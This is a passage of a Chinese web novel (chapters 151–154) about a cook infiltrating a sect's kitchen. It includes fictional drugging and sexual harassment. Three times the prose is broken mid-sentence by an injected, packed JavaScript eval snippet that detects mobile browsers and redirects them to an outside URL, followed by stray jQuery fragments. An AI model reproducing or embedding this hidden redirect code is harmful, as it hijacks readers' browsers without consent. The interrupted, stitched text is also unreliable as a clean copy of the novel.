少顷,江雨宁的面也做好了,他主动把自己的那碗面放在刁娆面的旁边,这样别人就辨认不出两碗面都是谁做的。刁娆看出江雨宁的小心思,嘴角微微上扬,“可以把大家叫进来了吗?” 江雨宁负手而立,“可以了。” 刁娆转身走过去把厨房门打开,“你们都进来吧。” 厨房众人鱼贯而入。 151. 第一百五十一章 所有人进来后都面面相觑,不知该不该动筷子。 江雨宁走上前,“大家别客气,快尝尝,面这东西凉了就不好吃了。” 刁娆在一旁翻着白眼,很是无语。 众人上前开始尝两碗面,由于刁娆和江雨宁都只做了一碗面,所以每个人也只尝了一小口。 开始的时候,这些厨子都很忐忑,也很谨慎,很怕选错了面条,站错了队。可品尝过两碗面后,大家开始窃窃私语,在绝大多数人认为右边那碗面更好吃后,他们就放心下来。这些厨子想当然地认为,既然他们一边倒认可右边那碗面好吃,那么那碗面就一定是刁娆做的,“傻大个”是不可能赢了刁娆的,更不可能还赢刁娆那么多的。 刁娆双手交叉抱于胸前,瞥了一眼那两个碗,见自己那碗面还剩了许多,而江雨宁那碗就连豆芽都吃光了。这么悬殊的差距,令她不由得瞪眼看向江雨宁。 江雨宁面色尴尬,苦笑道:“这个…那个……” “费什么话?”说完,刁娆转身走出了厨房,门也随之“咣当”一声被关上了。 刁娆气呼呼的样子,令那些厨子霎时反应过来,原来是这“傻大个”的面条更胜一筹了。但事已至此,也已木已成舟,无任何挽救之法。 江雨宁也有些不知所措,不知刁娆突然走了算怎么回事,自己到底算不算被录用了。 就在这时,听到厨房外有刁娆的声音传来,“傻大个,你给我等着,改日我再和你比一次。” 江雨宁一听刁娆这样说,不禁心花怒放。刁娆说改日再和自己比试,那就意味着自己可以留在这里。 江雨宁把能留在厨房的消息第一时间去告诉了胡枫,胡枫翻着白眼,“我的宁哥,你这才是万里长征的第一步,你还是要加快速度的。你再耽搁下去,阳晨和小雪就小命难保了。” “臭小子,凡事都有第一步,我也想快,但是一口吃不成胖子,一步登不了泰山。”江雨宁辩解道。 当晚,江雨宁就弄清楚了每日给安荣送夜宵的,是厨房里专门做糕点的师傅老赵。江雨宁当然知道,要想给安荣下迷药,就需要先取代这个师傅才行。只是他也不能直接把人轰走自己上位,更不能直接去刁娆面前说自己想送夜宵,那样就等于直接告诉别人他的目的不纯。 胡枫给江雨宁出了个主意,让他找到机会给老赵的茶水里下了点泻药。江雨宁虽觉得这样对老赵不太厚道,可事到如今,也只能这样做。第一日,老赵勉强还可以在厨房干活,可还是跑了一天的净房。第二日,老赵身体虚得只能卧床了。当晚,安荣自然没有吃到夜宵,惹得他大发雷霆。 天亮后,安荣的护卫总管邓图便过来找刁娆,本想问问为何昨日厨房没送夜食给教主。可见了刁娆,见她风姿绰约的样子,邓图便言语轻浮起来,“妹妹,没有你这么玩哥哥的啊?” 刁娆风情万种道:“你倒是说说,我怎么玩弄你了?” 一听刁娆撩人的声音,邓图的骨头都快酥了,就连正事都忘说了,“娆妹妹,你生得真好看,要不你就跟了哥哥我吧?我保证一辈子对你好。”邓图边说话边盯着刁娆胸前的风光,口水都快流出来了。 “一辈子对我好?”刁娆眼神里带着不屑。 邓图凑到刁娆身边坐下来,谄笑着连连点头,“那当然,你那么可人,我怎么可能骗你呢?别说这辈子,你就是让我下辈子都对你好都成啊。”邓图越说越起劲,竟忍不住伸手去摸刁娆的脸颊。 刁娆一扭脸,躲开了邓图的手,她冷哼一声:“我才不相信这世间有什么一辈子,永远,永恒什么的,你们男人就没有一个好东西。” “谁说男人没有好的?我的美人,我的娆娆,我就是好东西,天底下最好的东西。” 听邓图那样说,刁娆真的觉得反胃。这个邓图隔三差五来骚扰她,刁娆碍于邓图是安荣眼前的红人,也只好虚与委蛇。如果她还想继续留在天玄教生活,就要学会隐忍,也只能隐忍。 前任教主安龙死后,安荣刚一上位,便对从前跟在安龙身边的人都来了个彻底清洗。那些安龙的亲信和拥趸死的死,逃的逃,要不是刁娆管的是个无足轻重的厨房,可能也早就被干掉了。 刁娆心中也很不齿安荣的卑鄙为人,只是她无能为力。天玄教的人骨子里都流着狠辣的血,刁娆也惹不起那些人。 对于刁娆来说,天玄教早已变得面目全非,她本想离开这个失望的地方重新开始生活,可刁娆自小在天玄教长大,对这里还是有感情的。而且她不能离开此处的最大障碍,是她腿脚不便的母亲,刁娆母亲故土难离,甚至比刁娆还眷恋天玄教这个地方,每次刁娆说起要走,她都表现得极不愿意,刁娆很是孝顺,也就渐渐很少提离开的事了。 见邓图还是纠缠不止,刁娆几乎压不住心中的怒气,“哎呀,邓总管,你今天怎么总说这个?我不想聊这些。” 邓图有些失落和茫然,“娆娆,你还不懂我的心吗?都这么久了,我今天一定要个答案。”说着话,邓图便张开双臂去抱刁娆。 刁娆挣脱开,“邓图,你不要得寸进尺,老娘可没空与你在这儿打情骂俏。” 以往刁娆还是会给邓图留一点点面子,那是因为邓图之前没有太过分的举动。今天邓图要抱她,她忍无可忍才突然翻了脸。 刁娆反应这么大,邓图一时没有心理准备而怔住了,他以为自己是教主面前的红人,女人见了他都该投怀送抱,怎么还会有人不识抬举地驳了他的面子呢? 屋里一片沉寂,一种被耍被玩弄的感觉在邓图心中蔓延开来,他之前积攒的所有耐心,都在刁娆拒绝他的那一刻瞬间耗光了。 邓图从自己恼怒的情绪中抽离,他霍地站起来,“姓刁的,你不要不识好歹。老子看得上你,是抬举你。你还真以为自己是贞洁烈女吗?我呸,你就是个贱货,是个婊子。你被多少男人玩过你自己都不记得了吧?” 被这样羞辱, 刁娆眼波微动,委屈的泪水在心里流着,但她的神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354158|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却未生出明显的怒气来,只是语气中多了一抹霜寒,“你骂够了吗?骂够了给我滚出去,你这个猪狗不如的人渣。”她虽生得妖娆妩媚,但却洁身自好,并不想依附男人而活,更不可能去勾引男人。 “你有种,可你不要后悔。昨晚你厨房里的那个老赵没有给教主做夜宵,教主很是生气。我来就是要通知你,以后你这个厨房的庖官不必做了,三日内带着你那跛腿的老娘滚离骅山,否则别怪我对你不客气。”说完,邓图火冒三丈地推门走了出去。 邓图走后,刁娆坐在床上发呆,她懊恼地想:“刚刚怎么就没再忍一下呢?怎么就没忍住呢?”但是以刁娆那样敢爱敢恨的性格,忍不住被调戏也是迟早的事。 撕破脸了,刁娆知道这个地方是待不住了,否则邓图不会放过自己的。她站起身,还是逼着自己去了隔壁母亲的屋中,要想离开天玄教,总要先去做通母亲的思想工作的。 母亲见女儿刁娆来了,本来躺在床上的她便撑着坐了起来,“娆儿,快过来坐吧。” 刁娆有点为难,坐在床沿处,默不作声。 母亲带着点错愕的目光看着女儿,“娆儿,你这是怎么了?出了什么事吗?” 刁娆喃喃道:“娘,我们离开骅山,离开天玄教好不好?” 听女儿这样说,刁娆母亲忽地怔住,旋即眼眸里露出担心的神色,“娆儿,这阵子不是待得好好的吗?今日怎么又提这件事了呢?” 刁娆闪烁其词,“娘…没有什么,只是还想去外面看看,我长这么大还没离开过这里呢。” “外边有什么好的,要我说,还是骅山好。还是等到哪一天这里实在待不下去了,我们再考虑走的事吧。” 坚强如她,但此时刁娆的眼眶还是有些湿润了,她几乎忍不住哭出来。刁娆很想告诉母亲自己受了大委屈,这个地方实在是待不下去了,但是她不想让母亲为自己担心,所以还是把心里话咽了回去。 刁娆稳了稳情绪说道:“可是安龙叔叔已经不在了啊,安安也走了,这里和从前早就不一样了。” 刁娆母亲叹了口气,“安龙是不在了,可我们要在这儿等着安然回来。安安这女娃已经没有亲人了,娘不希望她哪天回来了,却一个认识的人都没有了。女儿啊,做人还是要讲究情义的,你安龙叔叔对我们有恩,不可忘的。” 刁娆神色黯然,她早就猜到母亲会这么说的。母亲每次拒绝离开的说辞都差不多,刁娆抿了抿红唇,心知再说下去也是无济于事的。 走出母亲的屋子,刁娆开始犯难了,既然母亲不愿意离开,她就要找邓图缓和一下关系了,否则邓图肯定天天找她们娘俩麻烦。像刁娆骨子里那样硬气的女人,让她与刚刚要轻薄自己之人冰释前嫌,无疑是拿走她的尊严,践踏她的尊严。而刁娆就是那样刚烈的女子,拿走了她的尊严,也就相当于要了她的命。 但是为了苟延残喘地活着,刁娆还是只要来到安荣住的承天殿,她知道白天邓图都会待在那里当差。 152. 第一百五十二章 承天殿前,远远地一个教众看到了刁娆,对着邓图说道:“头儿,那个风韵多姿的小娘们来找你了,可能是有好事哦。” 邓图打眼看去,还真是刁娆,他隐隐猜到刁娆来找自己做什么。送上门的,邓图岂有不要之理。不过他还是假模假样地冷着脸走过去,“呦,是什么风把我们最美的厨娘庖官吹来的?” 刁娆逼着自己露出笑颜,好像刚才的不愉快从未发生过,“当然是你的这股风啊!” “说吧,什么事?” “今日我身体微恙,所以刚刚我失言了,你别介意。” “我不介意。” 刁娆娇媚一笑,“那最好。”她正琢磨着这个猥琐的人今天怎么转性了,竟然这么容易就放过了自己。 好事不能想得太早,这时邓图露出下流的笑来,“只要今晚你来我房间与我喝杯合欢酒,刚才发生过什么我就真的忘记了。” 主动来找的邓图,邓图又开出了握手言和的价码,刁娆总不能再搞砸了。所以她只是神色一滞,然后便道:“那好,晚上我再做两道小菜给你带过来。” 听刁娆这么说,邓图心花怒放,“那好,一言为定,那我们晚上见。” 刁娆把手微微搭在邓图的肩膀处,假意调情,“昨日夜宵之事,还得麻烦你在教主面前美言几句,今晚再不会少了宵夜了。” “这个好说。”说着,邓图摸住了刁娆的手背。 刁娆若无其事地轻轻抽开手,“那你忙吧,我先走了。” 刁娆走了两步后,缓缓回眸一笑,邓图的心尖被她撩拨得特别痒痒,他真希望能快点日落。这个时候他甚至恨不得自己是后羿,如果能一箭把太阳射下来,天就一下子黑了。 刁娆离开了承天殿后便去找了做糕点的老赵,老赵开门见是刁娆,连忙躬身道:“刁姐……” 刁姐见老赵脸色苍白,嘴唇干裂,甚至嗓音都有些暗哑,于是惊愕问道:“你这是怎么了吗?” “前日泻肚,迟迟未有转好,甚至更严重了。” 刁娆这才明白为何昨夜老赵没有给安荣做宵夜,但仍稍稍责备道:“你病了休息便是,可也不能误了给教主做宵夜啊。” 老赵一脸内疚,“刁姐,抱歉,是我的错。” 刁娆敛去锋芒,“我并非不通情达理之人,只是你有难处可以提前与我讲,我也好安排妥当,也不至于教主昨日大发雷霆。” 老赵一听捅了这么大的篓子,神色惊慌,“请刁姐…宽恕,我昨日是想与你讲的,只是服了药后直接睡到今早。” “罢了,这几日你好好休息吧,养好身体要紧。”说完她转身就要走。 老赵连忙问道:“那教主夜宵的事……” “我先找个人替你几日,等你病好了还由你来管。”刁娆没再多言,转身离开。 老赵喊道:“谢谢刁姐。” “需要什么再同我讲,不必客气。”刁娆没有回头,只是关心说着话。 刁娆慢步走着,她就在想找谁代替老赵。厨房里其他人的半斤八两她是晓得的,除了她自己外没人会做糕点,而她平日里杂事又多,确实分身乏术。做糕点这事看着好像简单,但实际上准备工作很多,耗时耗力,它的工序有时比做菜还复杂,而且这个安荣教主的嘴巴还很挑剔,刁娆是肯定抽不出那么多时间的。 刁娆想了想后,便去找了江雨宁。她其实心里没底,她也不知道江雨宁会不会做糕点,刁娆打算如果实在不行的话,就只有她自己顶上了。 江雨宁来厨房晚,厨人集中住的小院里已经没有了空着的屋子,所以江雨宁便被临时安置住在伙房外不远处的一间小耳房内。虽然房间陈设简陋了些,可此地僻静,鲜有人经过。 江雨宁料到老赵不能做事了,刁娆应该会来找自己,于是早早便在房间等着。外边一有敲门声,江雨宁连忙去开门,“刁娆,是你啊,找我何事?”他演技拙劣,只是刁娆没看出来。 刁娆开口直言道:“老赵身体有恙,教主的夜宵无人做了。我来是想问,你会做糕点吗?” “不知教主平日喜欢吃什么糕点?”话问出口的时候,江雨宁还担心万一安荣喜欢吃的是那种很冷门的糕点就麻烦了。如果自己刚巧不会做,计划就没办法实施了。 刁娆语气平常,“都是一些家常的糕点,比如桂花糕、绿豆糕、核仁酥等。” 江雨宁咧嘴一笑,“我会的,这几样我都会。” “就是不知你做糕点的手艺怎么样?如果只是马马虎虎做一做,我手下许多厨人都做得到。别看糕点平常,但是口味上要下点功夫,你懂我的意思吗?” “我做得很拿手的。”江雨宁反将一军,“如果你不信,我可以先做一回你来尝尝?”这次江雨宁没有谦虚,因为他要博得刁娆的信任,要赢得这次机会,就只能主动出击,毛遂自荐了。 刁娆想起江雨宁做的油泼面,对他多了几分信任,“那倒不必了,时间也来不及了。你既然这样说了,我就信你一次,今晚就由你来给教主做糕点,快点准备食材吧。” 刁娆没有多作停留,转身离开。 江雨宁兴奋极了,他连忙去找胡枫,告诉他今晚便可行动了。 整整一个下午,江雨宁都待在厨房忙碌着,他想着还是多做几样糕点保险一点。刁娆无意瞥见江雨宁在厨房如此用心卖力,心里也多了一分欣悦和感激,这是她第二次觉得这个“傻大个”认真起来还挺帅气的。 用过飧食后,安荣便回了承天殿。江雨宁便开始紧张起来,他知道一个时辰后,一切就会有个结果,如果一切顺利的话,明日他就可以和胡枫回北境大营了。糕点早早就被江雨宁放在食盒里,江雨宁又给胡枫找了一身厨子的衣服,一会儿就由胡枫把糕点送进承天殿去。 本来江雨宁是想自己进承天殿,没道理有赴险的事自己却往后躲的道理,但他清楚胡枫盗东西的本事,江雨宁也就不敢“班门弄斧”了。他也想过和胡枫一起进承天殿,那样也多个照应,可往日都是一人送糕点,今日却变成两个人,未免也会让人生疑。 一切都配合得天衣无缝,戌时一到,胡枫便提着食盒朝着承天殿正门走去。江雨宁就在远处盯着看,只要胡枫走进了那个殿门,就算是大功告成了。可戏剧性一幕发生了,他见胡枫走到门口含着笑同守殿门的护卫聊了几句,然后就垂头丧气地拎着食盒走了回来。 江雨宁听不到那个护卫与胡枫说了什么,但他猜到计划失败了。待胡枫走回来,江雨宁才锁着眉头问:“怎么回事?出状况了?” “别提了,真他娘的倒霉,守卫说今日晚饭,那个安荣吃多了些,为防积食,今晚就不吃夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389215|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宵了。”说完,胡枫重重地叹了口气。 江雨宁觉得他和胡枫是尽了全力的,但事有凑巧,这也是没办法的事。只是这突发状况来得确实不是时候,于是他安慰着胡枫,“兄弟,算了,也就今天这一个晚上,我们都等了几日了,也不差这一个晚上了。” 胡枫撇了撇嘴,“我们是不差一个晚上,阳晨和小雪可等着呢。” “那个安荣不可能每天都吃多了,明天晚上他肯定吃宵夜,咱们一定能成功的。” 听着宁哥说着安慰的话,胡枫心里的闷气少了些,他也清楚,事已如此,着急也是没用的。他的心里虽然还是郁闷,但也只能暂时压下。 “那你回去吧,我去睡觉了。”胡枫说完,便自己躲到草堆里睡觉去了。他在天玄教是个生面孔,所以不能四处乱走。江雨宁比胡枫要幸福得多,至少他还有个遮风挡雨的耳房可以住。 路上,江雨宁正拎着食盒往住处走,忽然,他远远地见一个熟悉的身影迎面而来。江雨宁还没看清人脸,便知那人是刁娆。刁娆媚骨天成,走起路来也是步步生莲、摇曳生姿的,很是好看。 两人走近后,没等江雨宁说话,刁娆先开口道:“回来了?教主对你做的宵夜满意吗?” 江雨宁拉搭个脸,“今天…教主没吃。”江雨宁脸色沮丧并是不装出来给刁娆看的,虽然他安慰胡枫时,话说得漂亮,可只差临门一脚却没成功,这事想起来还是很怄气。 刁娆黛眉微蹙,“怎么回事?是你做得不好吃?” “哪能呢?我出马手到擒来。是教主晚上吃窝食了,所以今天没胃口了。” 刁娆松了一口气,“那就明天晚上再做吧,那我先走了。” 两人错身而过,刁娆刚走了两步,江雨宁叫住了她,“诶……” 刁娆回过头,江雨宁走了过来,“糕点明天我再做新的,这个给你吃吧。” 听江雨宁这样说,刁娆面色一滞,她有点不习惯有人关心她,或者说没想到有人会关心她,哪怕这种关心只是给自己一点吃的,哪怕这吃食只是临时起意才决定送给自己的。在这个山上,除了母亲,每人会关心刁娆,更没有人在意刁娆,这么多年她也习惯了。刁娆性格强势,不是个很容易亲近的人,只要不是见色起意的人,很多人见到她都会绕着走,所以江雨宁的热情才会令她有一丝丝微不可察的感动。 刁娆语气淡淡,“还是你自己留着吃吧。” “我一个大男人的,吃什么甜食啊?还是给你吃吧,就当你尝尝我的手艺。”说着江雨宁强行把食盒塞到刁娆手里,然后独自转身离去。江雨宁是有心细的一面,可大多时候还是个粗人,他不知对女孩子无论是言语和动作都应该温柔一点。 温柔的女人最怕傻直男,刁娆最没办法的也是江雨宁这种男人,这种男人对你好得很强势,但是又对你无所图,你都不好意思骂他。 刁娆望着江雨宁的背影,不禁心头一暖,可只是一瞬,她收回视线,拎着两个食盒继续向前走去。其中一个食盒是刁娆给邓图做的菜,白天的时候邓图让刁娆晚上去他的房间,刁娆虽心里不愿意,但也只能硬着头皮去。她心知,如果今晚再放了邓图的鸽子,那么两人的梁子就彻底结上了。 刁娆来到邓图的房门口,见屋里亮着灯,她无奈地站在那里,却迟迟不想敲门。 153. 第一百五十三章 此刻,屋子里的邓图兴奋得很,他邀请过刁娆许多次了,可每次都被拒绝,今天他终于得偿所愿了。邓图心里心里明镜似的,今日要不是刁娆为了缓和两人的关系还是不会来。不过这对邓图来说并不重要,重要的今晚有美人作伴,而且要有好事发生。 邓图已经把酒温好了,就坐在桌子前等佳人来,听到外面有敲门声,他连忙去开门。见刁娆站在外面,他喜不自胜,“快进来,娆娆。” 刁娆提着食盒走了进去,这是她第一次进邓图的屋子,走进去后,她把两个食盒放在了桌子上。 邓图笑得合不拢嘴,“娆娆,你能来,我就已经很开心了,你还做这么多菜做什么?” 刁娆明白过来,邓图以为这两个食盒里都是菜,她也没多解释,因为没有这个必要。 刁娆把自己食盒里的菜都拿出来摆好,两人相对而坐,邓图给刁娆杯里斟满酒,“来,娆娆,为我们两人的未来干一杯。” “我们的未来?我们有什么未来?”虽然是来喝合欢酒的,但是有的时候刁娆说话仍是不假辞色。 “啊,我说错了,那就为了我们的情意喝一个。”邓图端着酒杯看着刁娆。 这话刁娆听着仍很别扭,只是也懒得再去拿话“刺”邓图了,要是真的把邓图惹火了,这顿饭就白吃了。 刁娆犹疑着拿起酒杯,看了看杯中酒水是否浑浊,今天这顿饭她料定邓图没安好心,防备心刁娆还是有一些的,便没敢立刻喝掉杯中酒。 邓图笑着一饮而尽,然后又把自己的酒杯倒满,“娆娆,你怎么不喝啊?那好,那我就再喝一杯。”说完,邓图又饮下一杯酒。 见邓图连喝下两杯,刁娆才稍稍放下了戒备心,然后轻轻抿了一小口。 邓图假装不悦,“娆娆,你这不对啊,我就给你到了那么一小杯,你还只喝一口,快点都喝掉。” 刁娆见没办法,只好一饮而尽。 邓图热心道:“来,吃点菜。” “还是你多吃点吧,那些菜是我给你做的,我吃这个食盒里的。”说着,刁娆打开江雨宁给自己的那个食盒,把里面的一个个小碟子拿了出来。 刁娆拿了一块桂花糕,放在嘴里小小地咬了一口。她想先尝尝味道,也许是想品鉴一下江雨宁的手艺,怕这个糕点明天在安荣那里过不了关,也许就只是想别辜负了江雨宁的一番好意。 吃了第一口,刁娆觉得着桂花糕软糯爽口、甜而不腻,她不得不承认这是她吃过的最好吃的桂花糕。刁娆的心思都在糕点上,完全没听聒噪的邓图在说什么。 吃完一块桂花糕,刁娆又拿起一块核仁酥,味道香甜酥脆,唇齿间还留着一抹清香。刁娆心里感慨江雨宁做的糕点比老赵做得还好吃,她甚至想了想,即使自己亲自做,恐怕也比不上江雨宁的手艺。刁娆品着糕点的味道,脑海里出现了江雨宁塞给自己糕点时的真诚表情,那一刻她觉得那个“傻大个”傻起来还真的有点可爱的。 邓图笑着劝说:“娆娆,你别只吃那些破点心,还是吃点菜,喝点酒啊!” “没事,你吃的你的,我就是觉得这糕点挺好吃的。” 邓图仍不死心,“娆娆,素闻你有女杜康的称号,酒量好得惊人,今天怎么这么腼腆含蓄呢?” “哦,我近几日都胃肠不适,故而这阵子不喜饮酒。”刁娆的酒量是很好,只是不轻易给别人面子,不是谁的酒都喝。 “原来如此啊,那这样,你再喝最后一杯,之后我便自饮。” 面对邓图的“盛情难却”,刁娆左右为难。看着杯中晃动的酒液,刁娆略微犹豫,还是给了邓图这个面子,拿起酒杯又再次饮尽杯中酒。 邓图拍手大笑,“爽快!我就喜欢娆娆这直爽性子。” 刁娆娇媚一笑,“你少给我灌迷魂汤了,你们男人心里想的什么,当我不知?” 邓图脸色有一丝丝尴尬,“你是知道我想的什么,可我对你也是真心的,绝无半分虚情假意。” 刁娆不再接邓图的话,而是继续吃她的糕点。邓图放眼望去,刁娆纤细精致的手指如葱管一般修长,指甲上鲜艳的蔻丹在暖黄的烛光下更显柔亮,见到这一幕,勾得他心魄动荡。 邓图渐渐看呆了,不自觉隔着桌子将手伸出去,摸向刁娆的玉白手背。刁娆用另只手轻轻打了一下邓图,并用娇媚的眼神瞪了邓图一眼,“你喝酒的时候就不能专心喝酒?” 当然,刁娆的眼神可以有很多种理解,可以理解成带有警告的成分,只是总不能怒目而视罢了,而邓图感受到的是刁娆在跟自己传递别样风情。 “我刚刚一时没忍住,没忍住。”邓图色眯眯地笑着收回手来,只是眼神中又多了一分贪婪和觊觎。 又一块糕点吃完,刁娆突然觉得头有些晕,面前的邓图也变得时而清晰,时而模糊。她轻轻摇了摇头,试图让自己清醒一些,可是却更晕了。随之而来的是身体内的燥热在蒸腾,仿佛整个人都燃烧起来一般,难以忍受。 刁娆有种想要解开衣服的冲动,恨不得自己此时能跳入水中,或置身于冰窟里,那样或许能浇灭心中的那团火。刁娆聪敏,猜到一定是邓图在酒水里下了东西。不过她不敢此时与邓图撕破脸,那样的话,她就出不了这个屋子了。 刁娆清楚自己必须尽快离开,否则就来不及了,于是按着桌子晃晃悠悠地站了起来,“邓主管,我今天有点不舒服,你看时候也不早了,我就先回去了,改天我的胃肠好些了,我们再好好喝一次。”说完,不管邓图同意与否,她快步向门口走去。 刁娆觉得脚底发软,如踩在棉花上一般。她刚走到门口,邓图一个箭步,已经挡在了门前,“娆娆,你去哪儿啊?长夜漫漫,你怎好丢下我呢?” “你且放我回去,我们改日再聚。今日的酒有些上头,我真的有点头晕。” “回去?我与你好不容易有此良宵,我怎可轻易放了你呢?”说着,邓图露出yin笑,他忍了一晚上,狐狸的尾巴终于露出来了。 邓图已把话挑明,刁娆便不再顾忌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406823|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她横眉怒视着邓图,就像看臭虫一般,“你什么意思?” 邓图轻浮笑着,“事到如今,我也没必要瞒着你了,我在你的酒中下了迷心醉,今晚你就是我的了。不如我们抓紧时间春宵一度吧?” “你…你好…卑鄙……”刁娆揉着额头,她觉得自己现在更晕了。 邓图呲牙笑道:“你是不是在纳闷我们同喝一壶酒,为何我却没事,对吧?答案很简单,我提前吃了解药了,你对锅碗瓢盆这些很熟悉,可说到底江湖经验还是太少了些。” 危险的味道逼近,刁娆脑袋快速运转,她该如何自救。这时,刁娆用尽全身力气,狠狠地踢向邓图的小腿骨,她知道这一脚是自己唯一逃走的机会,所以一定要把邓图踢痛才行。刁娆的那一脚力道确实不轻,邓图疼得身体一歪,倒在地上。 刁娆连忙推开门,趁机冲了出去。她边跑就边在脑子里想自己要跑去哪儿,山门外的树林子里最易躲藏,但要走上很远,刁娆心知她可能撑不了那么久,自己的屋子肯定是不能回去的,邓图一定会去那儿找自己,回去就等于是自投罗网。刁娆想了好久,都不知哪儿对于她来说才是最安全的,就只有走到哪算哪儿了。 渐渐地,刁娆觉得自己体内的那团火越烧越旺,她忍不住地把自己衣衫的领口拽开一些,好让自己身上的热散去一些。她边跑边回头看去,怕什么来什么,邓图真的追了出来,只是他一瘸一拐的,走得很慢,离自己尚有很长一段距离,这让刁娆稍稍放了点心。 刁娆心里清楚,她必须在药完全发作前跑到一个安全的地方,否则她就只能羊入虎口了。刁娆一路给自己打气,全凭意念坚持着。那天她觉得自己走了好远,可实际上那并不是一段很长的路。 可能厨房是她最熟悉的地方,刁娆最后还是鬼使神差地走到了那儿附近。但她没有进厨房,而是从廊道绕去了江雨宁住的耳房。刁娆最初也不是为了去找江雨宁,只是江雨宁住的这个地方少有人来,她猜邓图可能找不到这里。可真的到了这个地方,刁娆心里忽然很踏实,她就是觉得江雨宁能保护自己,这也许是因为江雨宁的憨厚,也许是因为江雨宁的朴实,也许就只是因为留给刁娆第一眼的眼缘。 刁娆轻轻敲了敲门,她不敢敲得太大声,以免邓图追来时听到。 此时,江雨宁刚刚熄灯躺下了,只是还未入眠。听到外面响起急促的敲门声,江雨宁心里一惊,他在心里纳闷这么晚了怎么会有人来。他忽地想起:“难道是胡枫那边有什么重要的事?” 想到这里,江雨宁连忙下床点灯,然后来到门口,他轻声问道:“谁啊?” “开门…快……”受药力作用,又惊慌地走了这么远的路,刁娆早已体力不支,说话的声音也是虚弱无力。 但江雨宁还是听出这是刁娆的声音,他连忙开门,见刁娆倚靠在门边处,整个人看上去十分难受的样子。 见到这一幕,江雨宁手足无措,“刁娆,你这是怎么了?出了什么事?”他边说边赶紧把刁娆扶进了屋子。 154. 第一百五十四章 进了屋子,刁娆沉声说道:“把门关上,把灯熄了,快…快……” 江雨宁不明所以,但依旧照着刁娆的话去做。等他关了门熄了灯,再去看刁娆,她已难受得躺在地上。 江雨宁连忙过去把刁娆抱起来,“你怎么能躺在地上呢?多凉啊!”刁娆没有说话,只是闭着眼,紧紧咬住下唇,一副异常痛苦的表情。 江雨宁把刁娆横抱到自己的床上,他觉得人平躺着或许会舒服些。江雨宁守在床边,忧心问道:“刁娆,你怎么了?” 刁娆将食指放在唇边,做了一个嘘声的动作,“别出声,有人追来。” 果然,江雨宁听到门外有急促的脚步声传来,少时,脚步声才渐渐远去。 江雨宁眉头一皱,复又问道:“你到底怎么了?” 刁娆脸红耳热,眼神迷离,“有人害我,给我下了药。” 江雨宁急得满头大汗,“什么药?怎么解?哪里有解药?” 刁娆眉头紧锁,“我现在难受得很,你就什么都不要问了。”刁娆虽然平日给人的感觉风sao多情,但骨子里却保留着那一份纯真美好,她怎么都不好意思告诉江雨宁自己被人下了春药。 “我去给你倒一点水来。”少时,江雨宁端了一碗水回来。 刁娆浑身如炸裂一般,怎还能喝得下水。难受之下,她胡乱扬手一推,盛水的碗便掉在地上摔碎了。 江雨宁刚要俯身去捡,刁娆轻声道:“先不要管它,我有事要问你。” “你说,什么事?” “你家中…有妻室吗?”刁娆没想到邓图下的药药劲这么猛,她猜自己今晚多半走不出这个房间了,她要想不受药的折磨,面前就只剩下一条路了。不过刁娆自有自身的傲气,她不愿与有妻子的男子有染,所以她要问清楚。如果江雨宁已经成家了,她就是一头磕死,也不会违背自己的原则。 刁娆心里是有些许遗憾的,想她也是风华绝代,也曾梦想过将有一日嫁与一个芝兰玉树的男子,可未成想,今日却只能就只有委身面前的这个傻大个了。不过江雨宁这个人忠厚老实,真挚热情,倒是令刁娆多了些安慰。 “我二十有五,尚未婚配。”江雨宁如实说道。 “那你有过女人吗?碰过女人吗?” “碰什么女人?没有过。”说真的,江雨宁不知道刁娆为何这样问,也不太明白她话里的意思。 刁娆抿嘴浅笑,“你也真够笨的,活到这把年纪,竟连女人都没碰过,活该你打光棍一辈子。” 听刁娆这么说,江雨宁一脸尴尬,不觉挠了挠头。他自己也清楚,在他的老家,他这个年龄还没娶上个媳妇,是会被人笑话的。可前些年他为了找寻妹妹的下落,走南闯北,四处游荡,连个固定的落脚地都没有,自然是不可能成家的。 刁娆娇媚地盯着江雨宁,“今晚便宜你了,你要珍惜。” “便宜我?珍惜什么?” 刁娆继续温声道:“接下来你什么都不要问了,也不许拒绝,我让你做什么你就做什么,我给你什么你就要什么。” 江雨宁虽然性格憨直,但也不是一点脾气都没有的人,他本想说凭什么都听你的,可他与胡枫盗玉雪红参的计划还未实施成功,他还不能把这个姑奶奶惹翻了。 刁娆见江雨宁傻愣在那里,追问道:“你可答应我?你可听我的话?你一个大男人能不能痛快点?” “我听,我答应。”江雨宁回答得斩钉截铁。 “那你坐上床来,把床帐放下来,然后扶我坐起来。” 